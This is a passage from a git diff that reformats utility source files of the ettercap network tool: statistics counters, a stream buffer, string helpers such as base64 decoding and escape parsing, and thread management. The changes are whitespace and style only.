(hs->thru_worst > hs->tmp_size / ptime || hs->thru_worst == 0) + hs->thru_worst = hs->tmp_size / ptime; #if 0 DEBUG_MSG("PACKET RATE: %llu [%d] [%d] -- [%d] [%d]\n", hs->pck_recv, - hs->rate_worst, hs->rate_adv, - hs->thru_worst, hs->thru_adv); + hs->rate_worst, hs->rate_adv, + hs->thru_worst, hs->thru_adv); #endif - + /* reset the partial */ memset(&hs->tpar, 0, sizeof(struct timeval)); hs->tmp_size = 0; } - } /* @@ -118,7 +117,7 @@ void stats_half_end(struct half_stats *hs, u_int len) void stats_wipe(void) { struct pcap_stat ps; - + DEBUG_MSG("stats_wipe"); /* wipe top and botto half statistics */ @@ -135,7 +134,7 @@ void stats_wipe(void) GBL_STATS->ps_sent_delta += GBL_STATS->ps_sent; GBL_STATS->bs_sent_delta += GBL_STATS->bs_sent; #endif - + GBL_STATS->ps_recv = 0; GBL_STATS->ps_drop = 0; GBL_STATS->ps_ifdrop = 0; @@ -152,8 +151,8 @@ void stats_update(void) { struct pcap_stat ps; struct libnet_stats ls; - - /* update the statistics + + /* update the statistics * * statistics are available only in live capture * no statistics are stored in savefiles @@ -161,8 +160,8 @@ void stats_update(void) pcap_stats(GBL_IFACE->pcap, &ps); /* get the statistics for Layer 3 since we forward packets here */ libnet_stats(GBL_LNET->lnet_IP4, &ls); - - /* on systems other than linux, the counter is not reset */ + + /* on systems other than linux, the counter is not reset */ GBL_STATS->ps_recv = ps.ps_recv - GBL_STATS->ps_recv_delta; GBL_STATS->ps_drop = ps.ps_drop - GBL_STATS->ps_drop_delta; @@ -174,4 +173,3 @@ void stats_update(void) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_streambuf.c b/src/ec_streambuf.c index 884409e28..2b3c81a93 100644 --- a/src/ec_streambuf.c +++ b/src/ec_streambuf.c @@ -1,23 +1,23 @@ /* - ettercap -- stream buffer module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- stream buffer module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,9 +25,9 @@ /* mutexes */ -#define STREAMBUF_INIT_LOCK(x) do{ pthread_mutex_init(&x, NULL); }while(0) -#define STREAMBUF_LOCK(x) do{ pthread_mutex_lock(&x); }while(0) -#define STREAMBUF_UNLOCK(x) do{ pthread_mutex_unlock(&x); }while(0) +#define STREAMBUF_INIT_LOCK(x) do { pthread_mutex_init(&x, NULL); } while (0) +#define STREAMBUF_LOCK(x) do { pthread_mutex_lock(&x); } while (0) +#define STREAMBUF_UNLOCK(x) do { pthread_mutex_unlock(&x); } while (0) /************************************************/ @@ -36,20 +36,19 @@ */ void streambuf_init(struct stream_buf *sb) { - //DEBUG_MSG("streambuf_init"); - + // DEBUG_MSG("streambuf_init"); + /* init the size */ sb->size = 0; - + /* init the tail */ TAILQ_INIT(&sb->streambuf_tail); - + /* init the mutex */ STREAMBUF_INIT_LOCK(sb->streambuf_mutex); } - -/* +/* * add the packet to the stream_buf. */ int streambuf_add(struct stream_buf *sb, struct packet_object *po) @@ -57,24 +56,24 @@ int streambuf_add(struct stream_buf *sb, struct packet_object *po) struct stream_pck_list *p; SAFE_CALLOC(p, 1, sizeof(struct stream_pck_list)); - + /* fill the struct */ p->size = po->DATA.len; p->ptr = 0; - + /* copy the buffer */ SAFE_CALLOC(p->buf, po->DATA.len, sizeof(u_char)); - + memcpy(p->buf, po->DATA.data, po->DATA.len); STREAMBUF_LOCK(sb->streambuf_mutex); - + /* insert the packet in the tail */ TAILQ_INSERT_TAIL(&sb->streambuf_tail, p, next); /* update the total size */ sb->size += p->size; - + STREAMBUF_UNLOCK(sb->streambuf_mutex); return 0; @@ -88,16 +87,16 @@ int streambuf_add(struct stream_buf *sb, struct packet_object *po) int streambuf_seq_add(struct stream_buf *sb, struct packet_object *po) { /* Same seq twice? a duplicated pck */ - if( sb->tcp_seq == po->L4.seq ) + if (sb->tcp_seq == po->L4.seq) return 0; sb->tcp_seq = po->L4.seq; - + return streambuf_add(sb, po); } /* - * copies in the 'buf' the first 'len' bytes + * copies in the 'buf' the first 'len' bytes * of the stream buffer * * STREAM_ATOMIC returns an error if there is not enough @@ -118,33 +117,33 @@ int streambuf_get(struct stream_buf *sb, u_char *buf, size_t len, int mode) return -E_INVALID; STREAMBUF_LOCK(sb->streambuf_mutex); - + /* packets in the tail */ TAILQ_FOREACH_SAFE(p, &sb->streambuf_tail, next, tmp) { /* we have copied all the needed bytes */ if (size >= len) break; - + /* calculate the length to be copied */ if (len - size < p->size) to_copy = len - size; else to_copy = p->size; - + if (p->ptr + to_copy > p->size) to_copy = p->size - p->ptr; - /* + /* * copy the data in the buffer - * p->ptr is the pointer to last read + * p->ptr is the pointer to last read * byte if the buffer was read partially */ memcpy(buf + size, p->buf + p->ptr, to_copy); /* bytes in the buffer 'buf' */ size += to_copy; - + /* remember how may byte we have read */ p->ptr += to_copy; @@ -152,7 +151,7 @@ int streambuf_get(struct stream_buf *sb, u_char *buf, size_t len, int mode) if (p->ptr < p->size) { break; } - + /* remove the entry from the tail */ SAFE_FREE(p->buf); TAILQ_REMOVE(&sb->streambuf_tail, p, next); @@ -161,14 +160,13 @@ int streambuf_get(struct stream_buf *sb, u_char *buf, size_t len, int mode) /* update the total size */ sb->size -= size; - + STREAMBUF_UNLOCK(sb->streambuf_mutex); - return size; } -/* Same as streambuf_get(), but this will not erase +/* Same as streambuf_get(), but this will not erase * read data from the buffer */ int streambuf_read(struct stream_buf *sb, u_char *buf, size_t len, int mode) @@ -181,33 +179,33 @@ int streambuf_read(struct stream_buf *sb, u_char *buf, size_t len, int mode) return -E_INVALID; STREAMBUF_LOCK(sb->streambuf_mutex); - + /* packets in the tail */ TAILQ_FOREACH(p, &sb->streambuf_tail, next) { - + /* we have copied all the needed bytes */ if (size >= len) break; - + /* calculate the length to be copied */ if (len - size < p->size) to_copy = len - size; else to_copy = p->size; - + if (p->ptr + to_copy > p->size) to_copy = p->size - p->ptr; - /* + /* * copy the data in the buffer - * p->ptr is the pointer to last read + * p->ptr is the pointer to last read * byte if the buffer was read partially */ memcpy(buf + size, p->buf + p->ptr, to_copy); /* bytes in the buffer 'buf' */ size += to_copy; - + /* packet not completed */ if (p->ptr + to_copy < p->size) { break; @@ -216,11 +214,9 @@ int streambuf_read(struct stream_buf *sb, u_char *buf, size_t len, int mode) STREAMBUF_UNLOCK(sb->streambuf_mutex); - return size; } - /* * empty a give buffer. * all the elements in the list are deleted @@ -230,9 +226,9 @@ void streambuf_wipe(struct stream_buf *sb) struct stream_pck_list *e; DEBUG_MSG("streambuf_wipe"); - + STREAMBUF_LOCK(sb->streambuf_mutex); - + /* delete the list */ while ((e = TAILQ_FIRST(&sb->streambuf_tail)) != TAILQ_END(&sb->streambuf_tail)) { TAILQ_REMOVE(&sb->streambuf_tail, e, next); @@ -246,8 +242,6 @@ void streambuf_wipe(struct stream_buf *sb) STREAMBUF_UNLOCK(sb->streambuf_mutex); } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_strings.c b/src/ec_strings.c index 21b71926c..ebb463ade 100644 --- a/src/ec_strings.c +++ b/src/ec_strings.c @@ -1,23 +1,23 @@ /* - ettercap -- string manipulation functions - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- string manipulation functions + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -27,7 +27,7 @@ /* protos... */ #ifndef HAVE_CTYPE_H - int isprint(int c); +int isprint(int c); #endif static int hextoint(int c); @@ -37,8 +37,9 @@ static int hextoint(int c); #ifndef HAVE_CTYPE_H int isprint(int c) { - return ( (c > 31 && c < 127) ? 1 : 0 ); + return (c > 31 && c < 127) ? 1 : 0; } + #endif /* Pattern matching code from OpenSSH. */ @@ -46,30 +47,30 @@ int isprint(int c) int match_pattern(const char *s, const char *pattern) { for (;;) { - if (!*pattern) return (!*s); + if (!*pattern) return !*s; if (*pattern == '*') { pattern++; - if (!*pattern) return (1); + if (!*pattern) return 1; if (*pattern != '?' && *pattern != '*') { for (; *s; s++) { if (*s == *pattern && match_pattern(s + 1, pattern + 1)) - return (1); + return 1; } - return (0); + return 0; } for (; *s; s++) { if (match_pattern(s, pattern)) - return (1); + return 1; } - return (0); + return 0; } - if (!*s) return (0); + if (!*s) return 0; if (*pattern != '?' && *pattern != *s) - return (0); + return 0; s++; pattern++; @@ -81,182 +82,175 @@ int match_pattern(const char *s, const char *pattern) static const unsigned char pr2six[256] = { - /* ASCII table */ - 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, - 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, - 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63, - 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 64, 64, 64, 64, 64, 64, - 64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, - 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64, - 64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, - 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64, - 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, - 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, - 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, - 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, - 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, - 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, - 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, - 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64 + /* ASCII table */ + 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, + 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, + 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63, + 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 64, 64, 64, 64, 64, 64, + 64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, + 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64, + 64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, + 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64, + 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, + 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, + 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, + 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, + 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, + 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, + 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, + 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64 }; - int base64_decode(char *bufplain, const char *bufcoded) { - int nbytesdecoded; - register const unsigned char *bufin; - register unsigned char *bufout; - register int nprbytes; - - bufin = (const unsigned char *) bufcoded; - while (pr2six[*(bufin++)] <= 63); - nprbytes = (bufin - (const unsigned char *) bufcoded) - 1; - nbytesdecoded = ((nprbytes + 3) / 4) * 3; - - bufout = (unsigned char *) bufplain; - bufin = (const unsigned char *) bufcoded; - - while (nprbytes > 4) - { - *(bufout++) = (unsigned char) (pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4); - *(bufout++) = (unsigned char) (pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2); - *(bufout++) = (unsigned char) (pr2six[bufin[2]] << 6 | pr2six[bufin[3]]); + int nbytesdecoded; + register const unsigned char *bufin; + register unsigned char *bufout; + register int nprbytes; + + bufin = (const unsigned char *)bufcoded; + while (pr2six[*(bufin++)] <= 63) ; + nprbytes = (bufin - (const unsigned char *)bufcoded) - 1; + nbytesdecoded = ((nprbytes + 3) / 4) * 3; + + bufout = (unsigned char *)bufplain; + bufin = (const unsigned char *)bufcoded; + + while (nprbytes > 4) { + *(bufout++) = (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4); + *(bufout++) = (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2); + *(bufout++) = (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]); bufin += 4; nprbytes -= 4; - } + } - /* Note: (nprbytes == 1) would be an error, so just ingore that case */ - if (nprbytes > 1) - *(bufout++) = (unsigned char) (pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4); + /* Note: (nprbytes == 1) would be an error, so just ingore that case */ + if (nprbytes > 1) + *(bufout++) = (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4); - if (nprbytes > 2) - *(bufout++) = (unsigned char) (pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2); + if (nprbytes > 2) + *(bufout++) = (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2); - if (nprbytes > 3) - *(bufout++) = (unsigned char) (pr2six[bufin[2]] << 6 | pr2six[bufin[3]]); + if (nprbytes > 3) + *(bufout++) = (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]); - nbytesdecoded -= (4 - nprbytes) & 3; + nbytesdecoded -= (4 - nprbytes) & 3; - bufplain[nbytesdecoded] = '\0'; - return nbytesdecoded; + bufplain[nbytesdecoded] = '\0'; + return nbytesdecoded; } - /* adapted from magic.c part of dsniff source code... */ -/* +/* * convert an HEX rapresentation into int */ static int hextoint(int c) { - if (!isascii((int) c)) - return (-1); - - if (isdigit((int) c)) - return (c - '0'); - - if ((c >= 'a') && (c <= 'f')) - return (c + 10 - 'a'); - - if ((c >= 'A') && (c <= 'F')) - return (c + 10 - 'A'); - - return (-1); + if (!isascii((int)c)) + return -1; + + if (isdigit((int)c)) + return c - '0'; + + if ((c >= 'a') && (c <= 'f')) + return c + 10 - 'a'; + + if ((c >= 'A') && (c <= 'F')) + return c + 10 - 'A'; + + return -1; } -/* +/* * convert the escaped string into a binary one */ int strescape(char *dst, char *src, size_t len) { - char *olddst = dst; - char *oldsrc = src; - int c; - int val; + char *olddst = dst; + char *oldsrc = src; + int c; + int val; while ((c = *src++) != '\0' && (size_t)(src - oldsrc) <= len) { if (c == '\\') { switch ((c = *src++)) { - case '\0': - goto strend; - default: - *dst++ = (char) c; - break; - case 'n': - *dst++ = '\n'; - break; - case 'r': - *dst++ = '\r'; - break; - case 'b': - *dst++ = '\b'; - break; - case 't': - *dst++ = '\t'; - break; - case 'f': - *dst++ = '\f'; - break; - case 'v': - *dst++ = '\v'; - break; - /* \ and up to 3 octal digits */ - case '0': - case '1': - case '2': - case '3': - case '4': - case '5': - case '6': - case '7': - val = c - '0'; - c = *src++; - /* try for 2 */ - if (c >= '0' && c <= '7') { + case '\0': + goto strend; + default: + *dst++ = (char)c; + break; + case 'n': + *dst++ = '\n'; + break; + case 'r': + *dst++ = '\r'; + break; + case 'b': + *dst++ = '\b'; + break; + case 't': + *dst++ = '\t'; + break; + case 'f': + *dst++ = '\f'; + break; + case 'v': + *dst++ = '\v'; + break; + /* \ and up to 3 octal digits */ + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + val = c - '0'; + c = *src++; + /* try for 2 */ + if (c >= '0' && c <= '7') { + val = (val << 3) | (c - '0'); + c = *src++; + /* try for 3 */ + if (c >= '0' && c <= '7') val = (val << 3) | (c - '0'); - c = *src++; - /* try for 3 */ - if (c >= '0' && c <= '7') - val = (val << 3) | (c - '0'); - else - if (src > oldsrc) /* protect against buffer underflow */ - --src; - } else - if (src > oldsrc) /* protect against buffer underflow */ - --src; - *dst++ = (char) val; - break; - - case 'x': - val = 'x'; /* Default if no digits */ - c = hextoint(*src++); /* Get next char */ - if (c >= 0) { - val = c; - c = hextoint(*src++); - if (c >= 0) - val = (val << 4) + c; - else if (src > oldsrc) /* protect against buffer underflow */ - --src; - } else if (src > oldsrc) /* protect against buffer underflow */ - --src; - *dst++ = (char) val; - break; + else if (src > oldsrc) /* protect against buffer underflow */ + --src; + } else if (src > oldsrc) /* protect against buffer underflow */ + --src; + *dst++ = (char)val; + break; + + case 'x': + val = 'x'; /* Default if no digits */ + c = hextoint(*src++); /* Get next char */ + if (c >= 0) { + val = c; + c = hextoint(*src++); + if (c >= 0) + val = (val << 4) + c; + else if (src > oldsrc) /* protect against buffer underflow */ + --src; + } else if (src > oldsrc) /* protect against buffer underflow */ + --src; + *dst++ = (char)val; + break; } } else if (c == 8 || c == 263) { /* the backspace */ if (dst > oldsrc) /* protect against buffer underflow */ dst--; - } - else - *dst++ = (char) c; + } else + *dst++ = (char)c; } strend: *dst = '\0'; - return (dst - olddst); + return dst - olddst; } - /* * replace 's' with 'd' in the string 'text' * text will be realloc'ed, so a pointer is needed @@ -273,47 +267,46 @@ int str_replace(char **text, const char *s, const char *d) /* the search string does not exist */ if (strstr(*text, s) == NULL) return -E_NOTFOUND; - + /* search all the occurrence of 's' */ - while ( (p = strstr(q, s)) != NULL ) { + while ((p = strstr(q, s)) != NULL) { /* the new size */ if (diff > 0) size = strlen(q) + diff + 1; - else + else size = strlen(q) + 1; - + SAFE_REALLOC(*text, size); - + q = *text; - - /* + + /* * make sure the pointer p is within the *text memory. * realloc may have moved it... */ p = strstr(q, s); - if (p==NULL) - continue; + if (p == NULL) + continue; /* do the actual replacement */ memmove(p + dlen, p + slen, strlen(p + slen) + 1); memcpy(p, d, dlen); /* avoid recursion on substituted string */ q = p + dlen; } - + return E_SUCCESS; } - -/* - * Calculate the correct length of characters in an UTF-8 encoded string. +/* + * Calculate the correct length of characters in an UTF-8 encoded string. */ size_t strlen_utf8(const char *s) { u_char c; size_t len = 0; - + while ((c = *s++)) { if ((c & 0xC0) != 0x80) ++len; @@ -322,18 +315,17 @@ size_t strlen_utf8(const char *s) return len; } - /* * a reentrant version of strtok */ -char * ec_strtok(char *s, const char *delim, char **ptrptr) +char *ec_strtok(char *s, const char *delim, char **ptrptr) { -#ifdef HAVE_STRTOK_R +#ifdef HAVE_STRTOK_R return strtok_r(s, delim, ptrptr); #else - #warning unsafe strtok +#warning unsafe strtok /* to avoid the warning on this function (the wrapper macro) */ - #undef strtok +#undef strtok return strtok(s, delim); #endif } @@ -347,7 +339,7 @@ char getchar_buffer(char **buf) char ret; DEBUG_MSG("getchar_buffer: %s", *buf); - + /* the buffer is empty, do nothing */ if (**buf == 0) return 0; @@ -356,7 +348,7 @@ char getchar_buffer(char **buf) if (*(*buf + 0) == 's' && *(*buf + 1) == '(') { char *p; int time = 0; - + p = strchr(*buf, ')'); if (p != NULL) { @@ -373,15 +365,15 @@ char getchar_buffer(char **buf) ec_usleep(SEC2MICRO(time)); } } - + /* get the first char of the buffer */ ret = *buf[0]; /* increment the buffer pointer */ *buf = *buf + 1; - + DEBUG_MSG("getchar_buffer: returning %c", ret); - + return ret; } @@ -395,7 +387,7 @@ int str_hex_to_bytes(char *string, u_char *bytes) slen = strlen(string); for (i = 0; i < slen; i++) { - strncpy(value, string + i*2, 2); + strncpy(value, string + i * 2, 2); if (sscanf(value, "%02X", &value_bin) != 1) return -E_INVALID; bytes[i] = value_bin & 0x000000FF; @@ -404,16 +396,15 @@ int str_hex_to_bytes(char *string, u_char *bytes) return 0; } - /* print a binary string in hex format */ -char * str_tohex(u_char *bin, size_t len, char *dst, size_t dst_len) +char *str_tohex(u_char *bin, size_t len, char *dst, size_t dst_len) { size_t i; memset(dst, 0, dst_len); for (i = 0; i < len; i++) - sprintf(dst + i*2, "%02X", bin[i]); + sprintf(dst + i * 2, "%02X", bin[i]); return dst; } @@ -425,13 +416,13 @@ int ec_strsplit_ipport(char *input, char *ip, u_int16 *port) /* Format for IPv4: 1.2.3.4:80 */ if (sscanf(input, "%20[0-9.]:%hu", ip_tmp, port) == 2) { - strncpy(ip, ip_tmp, strlen(ip_tmp)+1); + strncpy(ip, ip_tmp, strlen(ip_tmp) + 1); return E_SUCCESS; } /* Format for IPv6: [2001:db8::1]:80 */ if (sscanf(input, "[%40[0-9a-fA-F:.]]:%hu", ip_tmp, port) == 2) { - strncpy(ip, ip_tmp, strlen(ip_tmp)+1); + strncpy(ip, ip_tmp, strlen(ip_tmp) + 1); return E_SUCCESS; } @@ -442,4 +433,3 @@ int ec_strsplit_ipport(char *input, char *ip, u_int16 *port) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_threads.c b/src/ec_threads.c index 2366a924b..b342419e4 100644 --- a/src/ec_threads.c +++ b/src/ec_threads.c @@ -1,23 +1,23 @@ /* - ettercap -- thread handling - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- thread handling + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -27,10 +27,9 @@ struct thread_list { struct ec_thread t; - LIST_ENTRY (thread_list) next; + LIST_ENTRY(thread_list) next; }; - /* global data */ #define DETACHED_THREAD 1 #define JOINABLE_THREAD 0 @@ -38,13 +37,13 @@ struct thread_list { static LIST_HEAD(, thread_list) thread_list_head; static pthread_mutex_t threads_mutex = PTHREAD_MUTEX_INITIALIZER; -#define THREADS_LOCK do{ pthread_mutex_lock(&threads_mutex); } while(0) -#define THREADS_UNLOCK do{ pthread_mutex_unlock(&threads_mutex); } while(0) +#define THREADS_LOCK do { pthread_mutex_lock(&threads_mutex); } while (0) +#define THREADS_UNLOCK do { pthread_mutex_unlock(&threads_mutex); } while (0) static pthread_mutex_t init_mtx = PTHREAD_MUTEX_INITIALIZER; static pthread_cond_t init_cond = PTHREAD_COND_INITIALIZER; -#define INIT_LOCK do{ DEBUG_MSG("thread_init_lock"); pthread_mutex_lock(&init_mtx); } while(0) -#define INIT_UNLOCK do{ DEBUG_MSG("thread_init_unlock"); pthread_mutex_unlock(&init_mtx); } while(0) +#define INIT_LOCK do { DEBUG_MSG("thread_init_lock"); pthread_mutex_lock(&init_mtx); } while (0) +#define INIT_UNLOCK do { DEBUG_MSG("thread_init_unlock"); pthread_mutex_unlock(&init_mtx); } while (0) /* protos... */ @@ -54,7 +53,7 @@ pthread_t ec_thread_detached(char *name, char *desc, void *(*function)(void *), /* returns the name of a thread */ -char * ec_thread_getname(pthread_t id) +char *ec_thread_getname(pthread_t id) { struct thread_list *current; char *name; @@ -63,10 +62,10 @@ char * ec_thread_getname(pthread_t id) id = pthread_self(); /* don't lock here to avoid deadlock in debug messages */ -#ifndef DEBUG +#ifndef DEBUG THREADS_LOCK; #endif - + LIST_FOREACH(current, &thread_list_head, next) { if (pthread_equal(current->t.id, id)) { name = current->t.name; @@ -76,7 +75,7 @@ char * ec_thread_getname(pthread_t id) return name; } } - + #ifndef DEBUG THREADS_UNLOCK; #endif @@ -84,8 +83,8 @@ char * ec_thread_getname(pthread_t id) return "NR_THREAD"; } -/* - * returns the pid of a thread +/* + * returns the pid of a thread * ZERO if not found !! (take care, not -E_NOTFOUND !) */ @@ -93,11 +92,11 @@ pthread_t ec_thread_getpid(char *name) { struct thread_list *current; pthread_t pid; - + THREADS_LOCK; LIST_FOREACH(current, &thread_list_head, next) { - if (!strcasecmp(current->t.name,name)) { + if (!strcasecmp(current->t.name, name)) { pid = current->t.id; THREADS_UNLOCK; return pid; @@ -105,22 +104,22 @@ pthread_t ec_thread_getpid(char *name) } THREADS_UNLOCK; - + return EC_PTHREAD_NULL; } /* returns the description of a thread */ -char * ec_thread_getdesc(pthread_t id) +char *ec_thread_getdesc(pthread_t id) { struct thread_list *current; char *desc; if (pthread_equal(id, EC_PTHREAD_SELF)) id = pthread_self(); - + THREADS_LOCK; - + LIST_FOREACH(current, &thread_list_head, next) { if (pthread_equal(current->t.id, id)) { desc = current->t.description; @@ -128,13 +127,12 @@ char * ec_thread_getdesc(pthread_t id) return desc; } } - + THREADS_UNLOCK; - + return ""; } - /* add a thread in the thread list */ void ec_thread_register(pthread_t id, char *name, char *desc) { @@ -147,18 +145,18 @@ void ec_thread_register_detached(pthread_t id, char *name, char *desc, int detac if (pthread_equal(id, EC_PTHREAD_SELF)) id = pthread_self(); - + DEBUG_MSG("ec_thread_register -- [%lu] %s", PTHREAD_ID(id), name); SAFE_CALLOC(newelem, 1, sizeof(struct thread_list)); - + newelem->t.id = id; newelem->t.name = strdup(name); newelem->t.description = strdup(desc); newelem->t.detached = detached; THREADS_LOCK; - + LIST_FOREACH(current, &thread_list_head, next) { if (pthread_equal(current->t.id, id)) { SAFE_FREE(current->t.name); @@ -171,16 +169,16 @@ void ec_thread_register_detached(pthread_t id, char *name, char *desc, int detac } LIST_INSERT_HEAD(&thread_list_head, newelem, next); - + THREADS_UNLOCK; - } /* * creates a new thread on the given function */ -pthread_t ec_thread_new(char *name, char *desc, void *(*function)(void *), void *args) { +pthread_t ec_thread_new(char *name, char *desc, void *(*function)(void *), void *args) +{ return ec_thread_new_detached(name, desc, function, args, JOINABLE_THREAD); } @@ -191,13 +189,13 @@ pthread_t ec_thread_new_detached(char *name, char *desc, void *(*function)(void DEBUG_MSG("ec_thread_new -- %s detached %d", name, detached); - /* + /* * lock the mutex to syncronize with the new thread. * the newly created thread will call ec_thread_init(), - * so at the end of this function we are sure that the + * so at the end of this function we are sure that the * thread had be initialized */ - INIT_LOCK; + INIT_LOCK; if (detached == DETACHED_THREAD) { pthread_attr_t attr; @@ -205,7 +203,7 @@ pthread_t ec_thread_new_detached(char *name, char *desc, void *(*function)(void pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED); if ((e = pthread_create(&id, &attr, function, args)) != 0) ERROR_MSG("not enough resources to create a new thread in this process: %s", strerror(e)); - }else { + } else { if ((e = pthread_create(&id, NULL, function, args)) != 0) ERROR_MSG("not enough resources to create a new thread in this process: %s", strerror(e)); } @@ -217,36 +215,36 @@ pthread_t ec_thread_new_detached(char *name, char *desc, void *(*function)(void if ((e = pthread_cond_wait(&init_cond, &init_mtx))) ERROR_MSG("waiting on init_cond: %s", strerror(e)); INIT_UNLOCK; - + return id; } -/* - * set the state of a thread +/* + * set the state of a thread * all the new thread MUST call this on startup */ void ec_thread_init(void) { pthread_t id = pthread_self(); int e; - + 